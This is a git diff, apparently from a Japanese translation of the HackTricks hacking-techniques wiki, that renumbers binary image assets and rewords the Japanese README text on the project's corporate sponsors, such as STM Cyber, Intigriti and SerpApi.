b/.gitbook/assets/image (895).png differ diff --git a/.gitbook/assets/image (896).png b/.gitbook/assets/image (896).png index b64184f9f..da99a7c62 100644 Binary files a/.gitbook/assets/image (896).png and b/.gitbook/assets/image (896).png differ diff --git a/.gitbook/assets/image (897).png b/.gitbook/assets/image (897).png index 0cadfb948..f59a94966 100644 Binary files a/.gitbook/assets/image (897).png and b/.gitbook/assets/image (897).png differ diff --git a/.gitbook/assets/image (898).png b/.gitbook/assets/image (898).png index 4bb5f2707..8f1f2230b 100644 Binary files a/.gitbook/assets/image (898).png and b/.gitbook/assets/image (898).png differ diff --git a/.gitbook/assets/image (899).png b/.gitbook/assets/image (899).png index d0ab0ee19..b64184f9f 100644 Binary files a/.gitbook/assets/image (899).png and b/.gitbook/assets/image (899).png differ diff --git a/.gitbook/assets/image (9).png b/.gitbook/assets/image (9).png index 1a985c3d4..2c0467343 100644 Binary files a/.gitbook/assets/image (9).png and b/.gitbook/assets/image (9).png differ diff --git a/.gitbook/assets/image (90).png b/.gitbook/assets/image (90).png index 530b24646..629c1147c 100644 Binary files a/.gitbook/assets/image (90).png and b/.gitbook/assets/image (90).png differ diff --git a/.gitbook/assets/image (900).png b/.gitbook/assets/image (900).png index 592a4e1a0..0cadfb948 100644 Binary files a/.gitbook/assets/image (900).png and b/.gitbook/assets/image (900).png differ diff --git a/.gitbook/assets/image (901).png b/.gitbook/assets/image (901).png index c90bad4be..4bb5f2707 100644 Binary files a/.gitbook/assets/image (901).png and b/.gitbook/assets/image (901).png differ diff --git a/.gitbook/assets/image (902).png b/.gitbook/assets/image (902).png index bbff6c5f4..d0ab0ee19 100644 Binary files a/.gitbook/assets/image (902).png and b/.gitbook/assets/image (902).png differ diff --git a/.gitbook/assets/image (903).png b/.gitbook/assets/image (903).png index 606702899..592a4e1a0 100644 Binary files a/.gitbook/assets/image (903).png and b/.gitbook/assets/image (903).png differ diff --git a/.gitbook/assets/image (904).png b/.gitbook/assets/image (904).png index 757655716..c90bad4be 100644 Binary files a/.gitbook/assets/image (904).png and b/.gitbook/assets/image (904).png differ diff --git a/.gitbook/assets/image (905).png b/.gitbook/assets/image (905).png index 5109dd9b3..bbff6c5f4 100644 Binary files a/.gitbook/assets/image (905).png and b/.gitbook/assets/image (905).png differ diff --git a/.gitbook/assets/image (906).png b/.gitbook/assets/image (906).png index 3733248ec..606702899 100644 Binary files a/.gitbook/assets/image (906).png and b/.gitbook/assets/image (906).png differ diff --git a/.gitbook/assets/image (907).png b/.gitbook/assets/image (907).png index e1f6894bd..757655716 100644 Binary files a/.gitbook/assets/image (907).png and b/.gitbook/assets/image (907).png differ diff --git a/.gitbook/assets/image (908).png b/.gitbook/assets/image (908).png index 1e2588800..5109dd9b3 100644 Binary files a/.gitbook/assets/image (908).png and b/.gitbook/assets/image (908).png differ diff --git a/.gitbook/assets/image (909).png b/.gitbook/assets/image (909).png index 9cc426fc7..3733248ec 100644 Binary files a/.gitbook/assets/image (909).png and b/.gitbook/assets/image (909).png differ diff --git a/.gitbook/assets/image (91).png b/.gitbook/assets/image (91).png index 8fd9221ae..c70eb8753 100644 Binary files a/.gitbook/assets/image (91).png and b/.gitbook/assets/image (91).png differ diff --git a/.gitbook/assets/image (910).png b/.gitbook/assets/image (910).png index 13d44115a..e1f6894bd 100644 Binary files a/.gitbook/assets/image (910).png and b/.gitbook/assets/image (910).png differ diff --git a/.gitbook/assets/image (911).png b/.gitbook/assets/image (911).png index 3ec420eb9..1e2588800 100644 Binary files a/.gitbook/assets/image (911).png and b/.gitbook/assets/image (911).png differ diff --git a/.gitbook/assets/image (912).png b/.gitbook/assets/image (912).png index 3305c8600..9cc426fc7 100644 Binary files a/.gitbook/assets/image (912).png and b/.gitbook/assets/image (912).png differ diff --git a/.gitbook/assets/image (913).png b/.gitbook/assets/image (913).png index 261b7c009..13d44115a 100644 Binary files a/.gitbook/assets/image (913).png and b/.gitbook/assets/image (913).png differ diff --git a/.gitbook/assets/image (914).png b/.gitbook/assets/image (914).png index ed2eac533..3ec420eb9 100644 Binary files a/.gitbook/assets/image (914).png and b/.gitbook/assets/image (914).png differ diff --git a/.gitbook/assets/image (915).png b/.gitbook/assets/image (915).png index d15c166d5..3305c8600 100644 Binary files a/.gitbook/assets/image (915).png and b/.gitbook/assets/image (915).png differ diff --git a/.gitbook/assets/image (916).png b/.gitbook/assets/image (916).png index 5d2bec98a..261b7c009 100644 Binary files a/.gitbook/assets/image (916).png and b/.gitbook/assets/image (916).png differ diff --git a/.gitbook/assets/image (917).png b/.gitbook/assets/image (917).png index 4d56204f7..ed2eac533 100644 Binary files a/.gitbook/assets/image (917).png and b/.gitbook/assets/image (917).png differ diff --git a/.gitbook/assets/image (918).png b/.gitbook/assets/image (918).png index 07983c822..d15c166d5 100644 Binary files a/.gitbook/assets/image (918).png and b/.gitbook/assets/image (918).png differ diff --git a/.gitbook/assets/image (919).png b/.gitbook/assets/image (919).png index f99d130d7..5d2bec98a 100644 Binary files a/.gitbook/assets/image (919).png and b/.gitbook/assets/image (919).png differ diff --git a/.gitbook/assets/image (92).png b/.gitbook/assets/image (92).png index c17689b99..d56598b83 100644 Binary files a/.gitbook/assets/image (92).png and b/.gitbook/assets/image (92).png differ diff --git a/.gitbook/assets/image (920).png b/.gitbook/assets/image (920).png index bda84db54..4d56204f7 100644 Binary files a/.gitbook/assets/image (920).png and b/.gitbook/assets/image (920).png differ diff --git a/.gitbook/assets/image (921).png b/.gitbook/assets/image (921).png index 357f8f6e1..07983c822 100644 Binary files a/.gitbook/assets/image (921).png and b/.gitbook/assets/image (921).png differ diff --git a/.gitbook/assets/image (922).png b/.gitbook/assets/image (922).png index 84884c474..f99d130d7 100644 Binary files a/.gitbook/assets/image (922).png and b/.gitbook/assets/image (922).png differ diff --git a/.gitbook/assets/image (923).png b/.gitbook/assets/image (923).png index 5895dc2dd..bda84db54 100644 Binary files a/.gitbook/assets/image (923).png and b/.gitbook/assets/image (923).png differ diff --git a/.gitbook/assets/image (924).png b/.gitbook/assets/image (924).png index 17aedd90c..357f8f6e1 100644 Binary files a/.gitbook/assets/image (924).png and b/.gitbook/assets/image (924).png differ diff --git a/.gitbook/assets/image (925).png b/.gitbook/assets/image (925).png index 816c11115..84884c474 100644 Binary files a/.gitbook/assets/image (925).png and b/.gitbook/assets/image (925).png differ diff --git a/.gitbook/assets/image (926).png b/.gitbook/assets/image (926).png index 1978dd558..5895dc2dd 100644 Binary files a/.gitbook/assets/image (926).png and b/.gitbook/assets/image (926).png differ diff --git a/.gitbook/assets/image (927).png b/.gitbook/assets/image (927).png index af5dbbe3d..17aedd90c 100644 Binary files a/.gitbook/assets/image (927).png and b/.gitbook/assets/image (927).png differ diff --git a/.gitbook/assets/image (928).png b/.gitbook/assets/image (928).png index 831449f43..816c11115 100644 Binary files a/.gitbook/assets/image (928).png and b/.gitbook/assets/image (928).png differ diff --git a/.gitbook/assets/image (929).png b/.gitbook/assets/image (929).png index b9465118c..1978dd558 100644 Binary files a/.gitbook/assets/image (929).png and b/.gitbook/assets/image (929).png differ diff --git a/.gitbook/assets/image (93).png b/.gitbook/assets/image (93).png index 9c566b1b7..530b24646 100644 Binary files a/.gitbook/assets/image (93).png and b/.gitbook/assets/image (93).png differ diff --git a/.gitbook/assets/image (930).png b/.gitbook/assets/image (930).png index ad1f05669..af5dbbe3d 100644 Binary files a/.gitbook/assets/image (930).png and b/.gitbook/assets/image (930).png differ diff --git a/.gitbook/assets/image (931).png b/.gitbook/assets/image (931).png index 06900bd58..831449f43 100644 Binary files a/.gitbook/assets/image (931).png and b/.gitbook/assets/image (931).png differ diff --git a/.gitbook/assets/image (932).png b/.gitbook/assets/image (932).png index b95243241..b9465118c 100644 Binary files a/.gitbook/assets/image (932).png and b/.gitbook/assets/image (932).png differ diff --git a/.gitbook/assets/image (933).png b/.gitbook/assets/image (933).png index 15dc4be80..ad1f05669 100644 Binary files a/.gitbook/assets/image (933).png and b/.gitbook/assets/image (933).png differ diff --git a/.gitbook/assets/image (934).png b/.gitbook/assets/image (934).png index eb57ea914..06900bd58 100644 Binary files a/.gitbook/assets/image (934).png and b/.gitbook/assets/image (934).png differ diff --git a/.gitbook/assets/image (935).png b/.gitbook/assets/image (935).png index 0f8a86733..b95243241 100644 Binary files a/.gitbook/assets/image (935).png and b/.gitbook/assets/image (935).png differ diff --git a/.gitbook/assets/image (936).png b/.gitbook/assets/image (936).png index 0ac7ed6c9..15dc4be80 100644 Binary files a/.gitbook/assets/image (936).png and b/.gitbook/assets/image (936).png differ diff --git a/.gitbook/assets/image (937).png b/.gitbook/assets/image (937).png index 37ab1a51d..eb57ea914 100644 Binary files a/.gitbook/assets/image (937).png and b/.gitbook/assets/image (937).png differ diff --git a/.gitbook/assets/image (938).png b/.gitbook/assets/image (938).png index ec4d7c9ff..0f8a86733 100644 Binary files a/.gitbook/assets/image (938).png and b/.gitbook/assets/image (938).png differ diff --git a/.gitbook/assets/image (939).png b/.gitbook/assets/image (939).png index d979f9cf7..0ac7ed6c9 100644 Binary files a/.gitbook/assets/image (939).png and b/.gitbook/assets/image (939).png differ diff --git a/.gitbook/assets/image (94).png b/.gitbook/assets/image (94).png index 5dc69a4e7..8fd9221ae 100644 Binary files a/.gitbook/assets/image (94).png and b/.gitbook/assets/image (94).png differ diff --git a/.gitbook/assets/image (940).png b/.gitbook/assets/image (940).png index ffd8adf04..37ab1a51d 100644 Binary files a/.gitbook/assets/image (940).png and b/.gitbook/assets/image (940).png differ diff --git a/.gitbook/assets/image (941).png b/.gitbook/assets/image (941).png index 383a5938f..ec4d7c9ff 100644 Binary files a/.gitbook/assets/image (941).png and b/.gitbook/assets/image (941).png differ diff --git a/.gitbook/assets/image (942).png b/.gitbook/assets/image (942).png index c0008cb7b..d979f9cf7 100644 Binary files a/.gitbook/assets/image (942).png and b/.gitbook/assets/image (942).png differ diff --git a/.gitbook/assets/image (943).png b/.gitbook/assets/image (943).png index 811b2066d..ffd8adf04 100644 Binary files a/.gitbook/assets/image (943).png and b/.gitbook/assets/image (943).png differ diff --git a/.gitbook/assets/image (944).png b/.gitbook/assets/image (944).png index 22eebd987..383a5938f 100644 Binary files a/.gitbook/assets/image (944).png and b/.gitbook/assets/image (944).png differ diff --git a/.gitbook/assets/image (945).png b/.gitbook/assets/image (945).png index 8a4bb9a4a..c0008cb7b 100644 Binary files a/.gitbook/assets/image (945).png and b/.gitbook/assets/image (945).png differ diff --git a/.gitbook/assets/image (946).png b/.gitbook/assets/image (946).png index 5ffa89035..811b2066d 100644 Binary files a/.gitbook/assets/image (946).png and b/.gitbook/assets/image (946).png differ diff --git a/.gitbook/assets/image (947).png b/.gitbook/assets/image (947).png index a4059618a..22eebd987 100644 Binary files a/.gitbook/assets/image (947).png and b/.gitbook/assets/image (947).png differ diff --git a/.gitbook/assets/image (948).png b/.gitbook/assets/image (948).png index f1359eecf..8a4bb9a4a 100644 Binary files a/.gitbook/assets/image (948).png and b/.gitbook/assets/image (948).png differ diff --git a/.gitbook/assets/image (949).png b/.gitbook/assets/image (949).png index 722af5f5c..5ffa89035 100644 Binary files a/.gitbook/assets/image (949).png and b/.gitbook/assets/image (949).png differ diff --git a/.gitbook/assets/image (95).png b/.gitbook/assets/image (95).png index 33653dcb1..c17689b99 100644 Binary files a/.gitbook/assets/image (95).png and b/.gitbook/assets/image (95).png differ diff --git a/.gitbook/assets/image (950).png b/.gitbook/assets/image (950).png index 58a0172e5..a4059618a 100644 Binary files a/.gitbook/assets/image (950).png and b/.gitbook/assets/image (950).png differ diff --git a/.gitbook/assets/image (951).png b/.gitbook/assets/image (951).png index 347f7abbb..f1359eecf 100644 Binary files a/.gitbook/assets/image (951).png and b/.gitbook/assets/image (951).png differ diff --git a/.gitbook/assets/image (952).png b/.gitbook/assets/image (952).png index 474931f56..722af5f5c 100644 Binary files a/.gitbook/assets/image (952).png and b/.gitbook/assets/image (952).png differ diff --git a/.gitbook/assets/image (953).png b/.gitbook/assets/image (953).png index 8c39d83aa..58a0172e5 100644 Binary files a/.gitbook/assets/image (953).png and b/.gitbook/assets/image (953).png differ diff --git a/.gitbook/assets/image (954).png b/.gitbook/assets/image (954).png index 9f0290b72..347f7abbb 100644 Binary files a/.gitbook/assets/image (954).png and b/.gitbook/assets/image (954).png differ diff --git a/.gitbook/assets/image (955).png b/.gitbook/assets/image (955).png index 3f805b3ce..474931f56 100644 Binary files a/.gitbook/assets/image (955).png and b/.gitbook/assets/image (955).png differ diff --git a/.gitbook/assets/image (956).png b/.gitbook/assets/image (956).png index addb8bdde..8c39d83aa 100644 Binary files a/.gitbook/assets/image (956).png and b/.gitbook/assets/image (956).png differ diff --git a/.gitbook/assets/image (957).png b/.gitbook/assets/image (957).png index 226538de2..9f0290b72 100644 Binary files a/.gitbook/assets/image (957).png and b/.gitbook/assets/image (957).png differ diff --git a/.gitbook/assets/image (958).png b/.gitbook/assets/image (958).png index 84874207b..3f805b3ce 100644 Binary files a/.gitbook/assets/image (958).png and b/.gitbook/assets/image (958).png differ diff --git a/.gitbook/assets/image (959).png b/.gitbook/assets/image (959).png index c4b1b5d48..addb8bdde 100644 Binary files a/.gitbook/assets/image (959).png and b/.gitbook/assets/image (959).png differ diff --git a/.gitbook/assets/image (96).png b/.gitbook/assets/image (96).png index 1f3811eca..9c566b1b7 100644 Binary files a/.gitbook/assets/image (96).png and b/.gitbook/assets/image (96).png differ diff --git a/.gitbook/assets/image (960).png b/.gitbook/assets/image (960).png index 24c2844c3..226538de2 100644 Binary files a/.gitbook/assets/image (960).png and b/.gitbook/assets/image (960).png differ diff --git a/.gitbook/assets/image (961).png b/.gitbook/assets/image (961).png index ee9f710d4..84874207b 100644 Binary files a/.gitbook/assets/image (961).png and b/.gitbook/assets/image (961).png differ diff --git a/.gitbook/assets/image (962).png b/.gitbook/assets/image (962).png index 2528d1e23..c4b1b5d48 100644 Binary files a/.gitbook/assets/image (962).png and b/.gitbook/assets/image (962).png differ diff --git a/.gitbook/assets/image (963).png b/.gitbook/assets/image (963).png index 16db588fc..24c2844c3 100644 Binary files a/.gitbook/assets/image (963).png and b/.gitbook/assets/image (963).png differ diff --git a/.gitbook/assets/image (964).png b/.gitbook/assets/image (964).png index 1f7dea20a..ee9f710d4 100644 Binary files a/.gitbook/assets/image (964).png and b/.gitbook/assets/image (964).png differ diff --git a/.gitbook/assets/image (965).png b/.gitbook/assets/image (965).png index 674171522..2528d1e23 100644 Binary files a/.gitbook/assets/image (965).png and b/.gitbook/assets/image (965).png differ diff --git a/.gitbook/assets/image (966).png b/.gitbook/assets/image (966).png index cfef5b39f..16db588fc 100644 Binary files a/.gitbook/assets/image (966).png and b/.gitbook/assets/image (966).png differ diff --git a/.gitbook/assets/image (967).png b/.gitbook/assets/image (967).png index 07aa1e747..1f7dea20a 100644 Binary files a/.gitbook/assets/image (967).png and b/.gitbook/assets/image (967).png differ diff --git a/.gitbook/assets/image (968).png b/.gitbook/assets/image (968).png index 6ee1afc03..674171522 100644 Binary files a/.gitbook/assets/image (968).png and b/.gitbook/assets/image (968).png differ diff --git a/.gitbook/assets/image (969).png b/.gitbook/assets/image (969).png index 1defaaff1..cfef5b39f 100644 Binary files a/.gitbook/assets/image (969).png and b/.gitbook/assets/image (969).png differ diff --git a/.gitbook/assets/image (97).png b/.gitbook/assets/image (97).png index 2fde683ec..5dc69a4e7 100644 Binary files a/.gitbook/assets/image (97).png and b/.gitbook/assets/image (97).png differ diff --git a/.gitbook/assets/image (970).png b/.gitbook/assets/image (970).png index 35ddb985b..07aa1e747 100644 Binary files a/.gitbook/assets/image (970).png and b/.gitbook/assets/image (970).png differ diff --git a/.gitbook/assets/image (971).png b/.gitbook/assets/image (971).png index c072058b6..6ee1afc03 100644 Binary files a/.gitbook/assets/image (971).png and b/.gitbook/assets/image (971).png differ diff --git a/.gitbook/assets/image (972).png b/.gitbook/assets/image (972).png index 90dd85e30..1defaaff1 100644 Binary files a/.gitbook/assets/image (972).png and b/.gitbook/assets/image (972).png differ diff --git a/.gitbook/assets/image (973).png b/.gitbook/assets/image (973).png index 4f2c9b758..35ddb985b 100644 Binary files a/.gitbook/assets/image (973).png and b/.gitbook/assets/image (973).png differ diff --git a/.gitbook/assets/image (974).png b/.gitbook/assets/image (974).png index d6a565eb6..c072058b6 100644 Binary files a/.gitbook/assets/image (974).png and b/.gitbook/assets/image (974).png differ diff --git a/.gitbook/assets/image (975).png b/.gitbook/assets/image (975).png index 7ebf7f05b..90dd85e30 100644 Binary files a/.gitbook/assets/image (975).png and b/.gitbook/assets/image (975).png differ diff --git a/.gitbook/assets/image (976).png b/.gitbook/assets/image (976).png index 4d79f5764..4f2c9b758 100644 Binary files a/.gitbook/assets/image (976).png and b/.gitbook/assets/image (976).png differ diff --git a/.gitbook/assets/image (977).png b/.gitbook/assets/image (977).png index 3269b7f67..d6a565eb6 100644 Binary files a/.gitbook/assets/image (977).png and b/.gitbook/assets/image (977).png differ diff --git a/.gitbook/assets/image (978).png b/.gitbook/assets/image (978).png index 9d8662682..7ebf7f05b 100644 Binary files a/.gitbook/assets/image (978).png and b/.gitbook/assets/image (978).png differ diff --git a/.gitbook/assets/image (979).png b/.gitbook/assets/image (979).png index 13f03d4b7..4d79f5764 100644 Binary files a/.gitbook/assets/image (979).png and b/.gitbook/assets/image (979).png differ diff --git a/.gitbook/assets/image (98).png b/.gitbook/assets/image (98).png index 53a923405..33653dcb1 100644 Binary files a/.gitbook/assets/image (98).png and b/.gitbook/assets/image (98).png differ diff --git a/.gitbook/assets/image (980).png b/.gitbook/assets/image (980).png index ffea8afba..3269b7f67 100644 Binary files a/.gitbook/assets/image (980).png and b/.gitbook/assets/image (980).png differ diff --git a/.gitbook/assets/image (981).png b/.gitbook/assets/image (981).png index e34331290..9d8662682 100644 Binary files a/.gitbook/assets/image (981).png and b/.gitbook/assets/image (981).png differ diff --git a/.gitbook/assets/image (982).png b/.gitbook/assets/image (982).png index c4bf20c0f..13f03d4b7 100644 Binary files a/.gitbook/assets/image (982).png and b/.gitbook/assets/image (982).png differ diff --git a/.gitbook/assets/image (983).png b/.gitbook/assets/image (983).png index 9026552a7..ffea8afba 100644 Binary files a/.gitbook/assets/image (983).png and b/.gitbook/assets/image (983).png differ diff --git a/.gitbook/assets/image (984).png b/.gitbook/assets/image (984).png index 597457563..e34331290 100644 Binary files a/.gitbook/assets/image (984).png and b/.gitbook/assets/image (984).png differ diff --git a/.gitbook/assets/image (985).png b/.gitbook/assets/image (985).png index d504c55ec..c4bf20c0f 100644 Binary files a/.gitbook/assets/image (985).png and b/.gitbook/assets/image (985).png differ diff --git a/.gitbook/assets/image (986).png b/.gitbook/assets/image (986).png index ab5d833dc..9026552a7 100644 Binary files a/.gitbook/assets/image (986).png and b/.gitbook/assets/image (986).png differ diff --git a/.gitbook/assets/image (987).png b/.gitbook/assets/image (987).png index 97522921c..597457563 100644 Binary files a/.gitbook/assets/image (987).png and b/.gitbook/assets/image (987).png differ diff --git a/.gitbook/assets/image (988).png b/.gitbook/assets/image (988).png index 1065c7b82..d504c55ec 100644 Binary files a/.gitbook/assets/image (988).png and b/.gitbook/assets/image (988).png differ diff --git a/.gitbook/assets/image (989).png b/.gitbook/assets/image (989).png index e73c84494..ab5d833dc 100644 Binary files a/.gitbook/assets/image (989).png and b/.gitbook/assets/image (989).png differ diff --git a/.gitbook/assets/image (99).png b/.gitbook/assets/image (99).png index 8b7813787..1f3811eca 100644 Binary files a/.gitbook/assets/image (99).png and b/.gitbook/assets/image (99).png differ diff --git a/.gitbook/assets/image (990).png b/.gitbook/assets/image (990).png index 422cbdc04..97522921c 100644 Binary files a/.gitbook/assets/image (990).png and b/.gitbook/assets/image (990).png differ diff --git a/.gitbook/assets/image (991).png b/.gitbook/assets/image (991).png index f33c3c9b5..1065c7b82 100644 Binary files a/.gitbook/assets/image (991).png and b/.gitbook/assets/image (991).png differ diff --git a/.gitbook/assets/image (992).png b/.gitbook/assets/image (992).png index 77284ef32..e73c84494 100644 Binary files a/.gitbook/assets/image (992).png and b/.gitbook/assets/image (992).png differ diff --git a/.gitbook/assets/image (993).png b/.gitbook/assets/image (993).png index ca3f3bb95..422cbdc04 100644 Binary files a/.gitbook/assets/image (993).png and b/.gitbook/assets/image (993).png differ diff --git a/.gitbook/assets/image (994).png b/.gitbook/assets/image (994).png index 2eafdd175..f33c3c9b5 100644 Binary files a/.gitbook/assets/image (994).png and b/.gitbook/assets/image (994).png differ diff --git a/.gitbook/assets/image (995).png b/.gitbook/assets/image (995).png index 49dbc7536..77284ef32 100644 Binary files a/.gitbook/assets/image (995).png and b/.gitbook/assets/image (995).png differ diff --git a/.gitbook/assets/image (996).png b/.gitbook/assets/image (996).png index 47a9e657a..ca3f3bb95 100644 Binary files a/.gitbook/assets/image (996).png and b/.gitbook/assets/image (996).png differ diff --git a/.gitbook/assets/image (997).png b/.gitbook/assets/image (997).png index 8275bf4e1..2eafdd175 100644 Binary files a/.gitbook/assets/image (997).png and b/.gitbook/assets/image (997).png differ diff --git a/.gitbook/assets/image (998).png b/.gitbook/assets/image (998).png index 088cfb275..49dbc7536 100644 Binary files a/.gitbook/assets/image (998).png and b/.gitbook/assets/image (998).png differ diff --git a/.gitbook/assets/image (999).png b/.gitbook/assets/image (999).png index e146bcdd2..47a9e657a 100644 Binary files a/.gitbook/assets/image (999).png and b/.gitbook/assets/image (999).png differ diff --git a/README.md b/README.md index a2585697e..24baac689 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -# HackTricks +# ハックトリックス
@@ -8,31 +8,31 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w **CTF、実際のアプリ、リサーチ、ニュースから学んだハッキングトリック/テクニック/その他を見つけるウィキへようこそ。** {% endhint %} -始めるには、1台以上の**マシンをペンテストする際に従うべき典型的なフロー**を見つけることができるこのページに従ってください: +始めるには、1台以上の**マシンをペンテストする際に従うべき典型的なフロー**を見つけるこちらのページに従ってください: {% content-ref url="generic-methodologies-and-resources/pentesting-methodology.md" %} [pentesting-methodology.md](generic-methodologies-and-resources/pentesting-methodology.md) {% endcontent-ref %} -## Corporate Sponsors +## コーポレートスポンサー ### [STM Cyber](https://www.stmcyber.com)
-[**STM Cyber**](https://www.stmcyber.com)は、**HACK THE UNHACKABLE**というスローガンを掲げる優れたサイバーセキュリティ企業です。彼らは独自の研究を行い、独自のハッキングツールを開発して、ペンテスト、Redチーム、トレーニングなど、さまざまな貴重なサイバーセキュリティサービスを提供しています。 +[**STM Cyber**](https://www.stmcyber.com) は、**HACK THE UNHACKABLE**というスローガンを掲げる優れたサイバーセキュリティ企業です。彼らは独自の研究を行い、独自のハッキングツールを開発して、ペンテスト、Redチーム、トレーニングなど、さまざまな価値あるサイバーセキュリティサービスを提供しています。 -彼らの**ブログ**は[**https://blog.stmcyber.com**](https://blog.stmcyber.com)で確認できます。 +[**https://blog.stmcyber.com**](https://blog.stmcyber.com) で彼らの**ブログ**をチェックできます。 -**STM Cyber**はHackTricksのサポートもしています :) +**STM Cyber** は、HackTricksのようなサイバーセキュリティオープンソースプロジェクトもサポートしています :) *** ### [RootedCON](https://www.rootedcon.com/) -
+
-[**RootedCON**](https://www.rootedcon.com)は、**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの1つです。**技術的知識の促進**を使命とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家の熱い出会いの場です。 +[**RootedCON**](https://www.rootedcon.com) は、**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**で最も重要なイベントの1つです。技術的知識の促進を使命とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家の熱い出会いの場です。 {% embed url="https://www.rootedcon.com/" %} @@ -40,11 +40,11 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w ### [Intigriti](https://www.intigriti.com) -
+
-**Intigriti**は**ヨーロッパで最も優れた**倫理的ハッキングおよび**バグバウンティプラットフォーム**です。 +**Intigriti** は**ヨーロッパで最も優れた**倫理的ハッキングおよび**バグバウンティプラットフォーム**です。 -**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。ハッカーによって作成されたプレミアム**バグバウンティプラットフォーム**に参加しましょう!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**の報酬を獲得し始めましょう! +**バグバウンティのヒント**: **Intigriti** に**サインアップ**してください。ハッカーによって作成されたプレミアム**バグバウンティプラットフォーム**に参加しましょう!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**の報酬を獲得し始めましょう! {% embed url="https://go.intigriti.com/hacktricks" %} @@ -52,10 +52,10 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w ### [Trickest](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) -
+
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も**高度なコミュニティツール**によって強化された**ワークフローを簡単に構築**および**自動化**できます。 +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによってパワードされた**ワークフローを簡単に構築**および**自動化**できます。 今すぐアクセスしてください: @@ -65,23 +65,23 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w ### [HACKENPROOF](https://bit.ly/3xrrDrL) -
+
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加しましょう! * **ハッキングの洞察:** ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加 -* **リアルタイムハックニュース:** リアルタイムのニュースと洞察を通じて、迅速なハッキングワールドに最新情報をキャッチアップ -* **最新の発表:** 新しいバグバウンティの開始や重要なプラットフォームの更新に関する情報を把握 +* **リアルタイムハックニュース:** リアルタイムのニュースと洞察を通じて、ハッキングの世界を追いかける +* **最新の発表:** 新しいバグバウンティの開始や重要なプラットフォームの更新に関する情報を入手 -**[**Discord**](https://discord.com/invite/N3FrSbmwdy)**に参加して、今日からトップハッカーと協力を始めましょう!** +今日から[**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加して、トップハッカーと協力を始めましょう! *** ### [Pentest-Tools.com](https://pentest-tools.com/) - エッセンシャルなペネトレーションテストツールキット -
+
-**脆弱性評価およびペネトレーションテストのための即座に利用可能なセットアップ**。20以上のツールと機能を備えた完全なペンテストをどこからでも実行します。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻してより深く掘り下げ、シェルをポップし、楽しむためのカスタムツール、検出、およびエクスプロイトモジュールを開発しています。 +**脆弱性評価およびペネトレーションテストのための即座に利用可能なセットアップ**。20以上のツールと機能を備えたフルペンテストをどこからでも実行します。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻してより深く掘り下げたり、シェルをポップしたり、楽しんだりするためのカスタムツール、検出、およびエクスプロイトモジュールを開発しています。 {% embed url="https://pentest-tools.com/" %} @@ -89,16 +89,16 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w ### [SerpApi](https://serpapi.com/) -
+
SerpApiは、高速で簡単なリアルタイムAPIを提供して、**検索エンジンの結果にアクセス**できます。彼らは検索エンジンをスクレイピングし、プロキシを処理し、キャプチャを解決し、すべてのリッチな構造化データを解析します。 -SerpApiのプランに加入すると、Google、Bing、Baidu、Yahoo、Yandexなど、さまざまな検索エンジンをスクレイピングするための50以上の異なるAPIにアクセスできます。\ -他のプロバイダとは異なり、**SerpApiは有機的な結果だけでなく**、広告、インライン画像や動画、ナレッジグラフなど、検索結果に表示される他の要素や機能を一貫して含めます。 +SerpApiのプランの1つに加入すると、Google、Bing、Baidu、Yahoo、Yandexなど、さまざまな検索エンジンをスクレイピングするための50以上の異なるAPIにアクセスできます。\ +他のプロバイダとは異なり、**SerpApiは有機的な結果だけをスクレイピングするのではありません**。 SerpApiのレスポンスには常に、検索結果に存在する広告、インライン画像やビデオ、ナレッジグラフなど、他の要素や機能が一貫して含まれます。 -現在のSerpApiの顧客には**Apple、Shopify、GrubHub**などが含まれます。\ -詳細については、彼らの[**ブログ**](https://serpapi.com/blog/)をチェックするか、彼らの[**プレイグラウンド**](https://serpapi.com/playground)で例を試してみてください。\ -無料アカウントを[**こちら**](https://serpapi.com/users/sign\_up)で作成できます。 +現在のSerpApiの顧客には、**Apple、Shopify、GrubHub**などが含まれます。\ +詳細については、彼らの[**ブログ**](https://serpapi.com/blog/)をチェックしてください。または、彼らの[**プレイグラウンド**](https://serpapi.com/playground)で例を試してみてください。\ +[**こちら**](https://serpapi.com/users/sign\_up)で**無料アカウント**を作成できます。 *** @@ -114,30 +114,30 @@ SerpApiのプランに加入すると、Google、Bing、Baidu、Yahoo、Yandex
